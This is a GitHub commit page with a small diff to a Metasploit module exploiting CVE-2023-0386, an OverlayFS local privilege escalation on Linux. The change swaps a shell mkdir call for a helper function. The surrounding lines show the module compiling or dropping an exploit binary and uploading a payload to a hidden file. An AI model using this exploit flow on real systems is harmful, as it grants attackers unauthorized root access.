Skip to content

Commit 1cc562c

Browse files
committed
Use mkdir function
1 parent 920ef70 commit 1cc562c

File tree

1 file changed

+3
-2
lines changed

1 file changed

+3
-2
lines changed

modules/exploits/linux/local/cve_2023_0386_overlayfs_priv_esc.rb

Lines changed: 3 additions & 2 deletions
Original file line numberDiff line numberDiff line change
@@ -122,7 +122,9 @@ def exploit
122122
fail_with(Failure::BadConfig, 'Exploit dir already exists')
123123
end
124124

125-
cmd_exec("mkdir -p #{exploit_dir}")
125+
mkdir(exploit_dir)
126+
register_dir_for_cleanup(exploit_dir)
127+
126128
if live_compile? && command_exists?('xxd')
127129
vprint_status('Live compiling exploit on system...')
128130
upload_and_compile("#{exploit_dir}/shell", exploit_source('CVE-2023-0386', 'getshell.c'))
@@ -134,7 +136,6 @@ def exploit
134136
vprint_status('Dropping pre-compiled exploit on system...')
135137
upload_and_chmodx("#{exploit_dir}/cve-2023-0386", exploit_data('CVE-2023-0386', 'cve-2023-0386'))
136138
end
137-
register_dir_for_cleanup(exploit_dir)
138139

139140
# Upload payload executable
140141
payload_path = "#{base_dir}/.#{rand_text_alphanumeric rand(5..10)}"

0 commit comments

Comments
 (0)